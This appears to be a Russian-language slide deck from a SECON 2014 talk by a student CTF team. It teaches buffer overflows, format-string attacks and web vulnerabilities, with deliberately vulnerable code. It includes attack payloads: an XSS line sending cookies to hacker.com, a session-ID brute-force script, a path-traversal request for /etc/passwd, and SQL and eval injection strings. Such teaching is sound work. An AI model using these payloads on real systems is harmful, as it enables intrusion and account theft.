SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых...

Preview:

DESCRIPTION

В рамках одного доклада мы расскажем, во первых, про наиболее популярные уязвимости веб-приложений. Также мы расскажем про такие классические вещи, как переполнение буфера (на стеке (stack) и на куче (heap), атаки на формат строки и не только. Многие про это слышали, но не многие знают, как этим может воспользоваться злоумышленник. Будет рассмотрена эксплуатация описанных уязвимостей без достаточной информации о приложении, принципы работы и написания шеллкода. Будут функционировать два стенда, где все желающие могут попробовать свои силы и почувствовать себя настоящими хакерами. Доклад будет интересен студентам и молодым разработчикам.

Citation preview

Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от

них избавиться

Кто мы вообще такие?Мы – команда молодых специалистов по информационной безопасности CTRL-PNZ. Студенты и выпускники кафедры «Информационная безопасность систем и технологий» ПГУ

Нас объединяет игра в CTF, уже второй год мы организуем собственные мероприятия IBSTPSU CTF.

Зачем?

Чтобы все желающие повышали свой уровень, чтобы студенты и школьники сталкивались с практическими аспектами информационной безопасности в прикольной и доступной форме.

Кафедра «Информационная безопасность систем и технологий»

Пензенский государственный университет

Ctrl - PNZ

Первый этап – отборочный, в стиле Task-based CTF и

проводится по сети Интернет.

Команды решают задания, разбитые по различным категориям, и

получают за них баллы. Чаще всего это:

Администрирование;

Криптография;

Стеганография;

Раскрытие компьютерных преступлений;

Программирование;

Задачи на веб-технологии;

И многое, многое другое…

CTF - это командные соревнования, целью которых является оценка умения участников атаковать и защищать компьютерные системы.

В США и Европе в CTF играют давно, в России с 2006 года. Но сейчас CTF набирает обороты и в России. И это круто!

Это законный способ учиться компьютерной безопасности не только в теории, но и на практике, причем делать это

еще и играя!  

Финал проводится в ПГУ, в стиле Classic CTF. Это непосредственное

противоборство участников, имеющих одинаковый набор систем

и сервисов.

Задачи участников «классического» CTF:

Поддерживать работоспособность сервисов, которая периодически

проверяется жюри;

Устранять уязвимости на своем сервере;

Эксплуатировать уязвимости, найденные на серверах противника;

Делать описания найденных уязвимостей, способов их эксплуатации и

устранения.

Причины появления уязвимостей или «откуда растут ноги»

• Недостаточное знание безопасных методов программирования

разработчиками

• Ошибки проектирования и «ляпы» при разработке

• Банальная лень и невнимательность

*Уязвимость - недостаток в системе, используя который, можно намеренно нарушить её целостность и вызвать неправильную работу.

Не ошибается то, что не работает. (c) Windows

Никакое программное обеспечение небезопасно! Даже если своевременно устанавливать свежие заплатки, всегда существует риск, что злоумышленник найдет новую дыру, о которой еще никто не знает, и с успехом воспользуется ею. ©Крис Касперски

Чем мы займемся сейчас?• «Вкратце о наболевшем»Переполнение буфера на стеке и на куче, атаки форматной строки и другие непонятные вещи в доступной форме.

Рубцов Ян, капитан команды Ctrl-PNZ

• «Web в опасности!»Подробное описание популярных уязвимостей веб-приложений. С примерами!

Гринзовский Илья, специалист по WEB-технологиям

А еще на первом этаже сразу напротив входа стоят наши стенды =)

Их можно и даже нужно потрогать руками!

Вкратце о наболевшем

Рубцов ЯнКоманда Ctrl-PNZ, ПГУ

О докладчике• Участник различных CTF (Capture The Flag), капитан команды

CTRL-PNZ• Разработчик заданий IBST PSU CTF 2013, 2014• Разработчик системы проведения IBST PSU CTF 2014• Занимаюсь «понемногу всем подряд», прямо сейчас отдуваюсь за

одного из членов команды

Что вообще такое переполнение буфера?

Буфер – это некая область памяти.Переполнение возникает при попытке запихать в буфер больше данных, чем он может принять.

Индексное переполнение при чтении =>

seq_write(char *p){ char buff[8]; ... strcpy(buff, p);}

idx_write(int i){ char buff[]="0123456789"; ... return buff[i];}

Чем оно грозит?• Запись в произвольные ячейки памяти• Передача управления по произвольным

адресам• Раскрытие или навязывание конфиденциальной

информации• Атака на логику работы программы (отладочные

люки, флаги, индексы и прочие плюшки от разработчика)• Атака «отказ в обслуживании»

=>=>исполнение shell-кода => PROFIT! =>

Перечислим? #1Атака на скалярные переменные

При атаке до вызова strlen переменная b может быть затерта и цикл выйдет за пределы src и dst

f(char *dst, char *src){

char buf[xxx]; int a; int b;...b = strlen(src);...for (a = 0; a < b; a++)

*dst++ = *src++;

f(char *psswd){

char buf[MAX_BUF_SIZE]; int auth_flag = PASSWORD_NEEDED;printf("скажи пароль:"); gets(buf);if (auth_flag != PASSWORD_NEEDED)

return PASSWORD_OK;return strcmp(passwd, buf);

}

©Крис Касперски aka мыщъх

Атака на индексы

Целочисленное переполнение

Перечислим? #2Атака типа «POKE»

Атака типа «PEEK»

f(){ char buf[MAX_BUF_SIZE]; int a; int *b; ... gets(buf); ... *b = a;}

f(){ char buf[MAX_BUF_SIZE]; int *b; ... gets(buf); ... printf("%x\n", *b);}

©Крис Касперски aka мыщъх

f(){ int *p; char buf[MAX_BUF_SIZE]; int a; int b; ... gets(buf); ... p[b] = a;}

f(){ int *p; char buf[MAX_BUF_SIZE]; int a; int b; ... gets(buf); ... p[b] = a;}

Она упала!

Unused_function(){

….return;

}

main(){

buf_1[16];buf_2[16];gets(buf_1);gets(buf_2);….

//здесь должна быть логика, но на это нет денег =(….return;

}

Какой буфер?• На стеке (автоматическая память)

• На куче (динамическая память)

• В сегменте данных (WTF?!)

О чем НЕ пойдет речь• Про неисполняемый стек• Про особенности работы некоторых компиляторов (далеко не

всегда спасают)• NIX-срачи

VirtualProtect, VirtualAlloc и т.п. + говнокод =

Все не так уж и плохо?• Ограничения на ввод в строковых буферах• Размер переполняющихся буферов слишком мал• Все по-разному на разных ОС• Адреса непостоянны• Поиск и эксплуатация - сложная штука

Все хорошо? Нет.• Нет методик автоматического обнаружения и ликвидации

• Борьба с возможным переполнением = потеря производительности

• Системы обнаружения вторжений и межсетевые экраны – не панацея

А вы уже забыли про форматный ввод? int cpt1 = 0;

int cpt2 = 0; int addr_cpt1 = &cpt1; int addr_cpt2 = &cpt2;

printf(argv[1]); printf("\ncpt1 = %d\n", cpt1); printf("cpt2 = %d\n", cpt2);>>./program AAAAAAAAcpt1 = 0cpt2 = 0>>./program AAAA%1\$nAAAAcpt1 = 0cpt2 = 4>>./program AAAA%2\$nAAAAcpt1 = 4cpt2 = 0

Количество символов в строке формата до спецификатора %n сохраняется в переменной (int), адрес которой идет следующим аргументом. Никакие аргументы не конвертируются. ©man

Немного бла-бла-бла или я не стал делать слайд

Немного жесткого shitcode или исходники стенда

memset(buffer,0x0,ANSWER_SIZE);memset(answerBuffer,0x0,ANSWER_SIZE);

memcpy(answerBuffer + BUFFER_SIZE,"fuck yeah!",sizeof("fuck yeah!"));recived = recv(client.acceptSocket,buffer,ANSWER_SIZE-1,0);

memcpy(answerBuffer,buffer,ANSWER_SIZE > strlen(buffer)-1 ? strlen(buffer)-1 : ANSWER_SIZE-2);memcpy(answerBuffer+strlen(answerBuffer),"\n",strlen("\n"));

send(client.acceptSocket,answerBuffer,(int)strlen(answerBuffer),0);

Несложно догадаться, что при #define BUFFER_SIZE 16#define ANSWER_SIZE 64искомая строка fuck yeah! отдается при вводе всего лишь 123456789012345 а потом начинает «затираться»

Web в опасности!

Гринзовский ИльяКоманда Ctrl-PNZ, ПГУ

Обо мне• Участник различных CTF (Capture The Flag)• Разработчик заданий IBST PSU CTF 2013, 2014• Web-разработчик

С безопасностью в вебе все очень плохо…

…или почти все

Злоупотребление функциональностью

Использование приложения злоумышленником для атак на пользователей приложения, другие сервисы

и ресурсы

Brute force

Отправка запросов от имени легитимного пользователя, получение

дополнительной информации о приложении, выполнение

неавторизованных действий

Переполнение буфера

Злоумышленник может управлять процессом, «вешать» процесс,

перезаписывать внутренние переменные и выполнять действия от

имени процесса

Подмена контента

Получение данных пользователя, выполнение на стороне клиента

произвольного кода

URL: http://example.com/news.php?title=Введите%20свой%20логин%20и%20пароль&link=http://evilsite.com/spoofed.html

CODE:<h1><?=$_GET['title'];?></h1><iframe src="<?=$_GET['link'];?>"></iframe>

RESULT:<h1>Введите свой логин и пароль</h1><iframe src="http://evilsite.com/spoofed.html"></iframe>

Предсказуемое значение сессии

Создание запросов к приложению с правами скомпрометированного

пользователя

PHP:$session_id = ‘AD33300002820’ . $userId;OR$session_id = md5($username);

Python:session_id = str(random.randint(2000, 4000))ORsha1 = hashlib.sha1(username + str(random.randint(0, 50000)))access_code = sha1.hexdigest()

Exploit examples = requests.Session()url = 'http://victim.com/profile'

for x in range(0, 50000): session_id = hashlib.sha1('username' + str(x)).hexdigest() c = dict(id=session_id) r = s.get(url, cookies=c)

if r.status_code == 200: print session_id

Cross-site Scripting

Выполнение на стороне клиента произвольного кода

XSS in action

<?php// Отправка сообщение$msg = $_POST['msg_text'];$receiver_id = intval($_POST['receiver_id']);$sender_id = $current_user['id'];$db->insert(array( 'msg' => $msg, 'receiver_id' => $receiver_id, 'sender_id' => $sender_id));?>

<?php// Просмотр сообщения$msg = get_msg($msg_id);?><div> <p><?=$msg['msg']?></p></div>

XSS in actionHacker’s request:example.com/send.phpPOST DATA: msg_text=<script>window.location=‘http://hacker.com/sniff?’+document.cookie</script>&receiver_id=372324

Receiver side:<div><p><script>window.location=‘http://hacker.com/sniff?’+document.cookie</script></p></div>

Fingerprinting

Получение подробной информации о конфигурации приложения

Fingerprinting in nature

Отказ в обслуживании

Отказ одной или нескольких подсистем приложения для 1, 2, …, всех

пользователей

Предсказуемое расположение ресурсов

Выполнение неавторизованных действий, получение

неавторизованного доступа к различным файлам

Remote/Local File inclusion

Исполнение произвольного кода на стороне сервера, выполнение кода на

стороне клиента

Local File InclusionCode:<?phpinclude(‘../templates/’ . $_GET[‘template’]);?>

Hacker’s request:http://site.com?page.php?template=../../../../../../etc/passwdORhttp://site.com?page.php?template=../images/shell.jpg

Инъекции (внедрение кода)

Исполнение произвольного кода на стороне сервера, чтение, запись файлов, выполнение команд ОС

PHP CODE: $query = ‘SELECT title, text FROM pages WHERE id = ’ . $_GET[‘id’];Exploit: http://site.com/?id=-1 union select login, password FROM users limit 2,1

NodeJS CODE: var loginParam = eval("({ login: '" + login + "', password: '" + password + "' })");Hacker’s Login: root'})//Hacker’s Password: 23423Result:({ login: 'root'})//', password: '23423' })db.users.findOne({ login: 'root' })

*данные Positive Technologies

Вопросы?

Recommended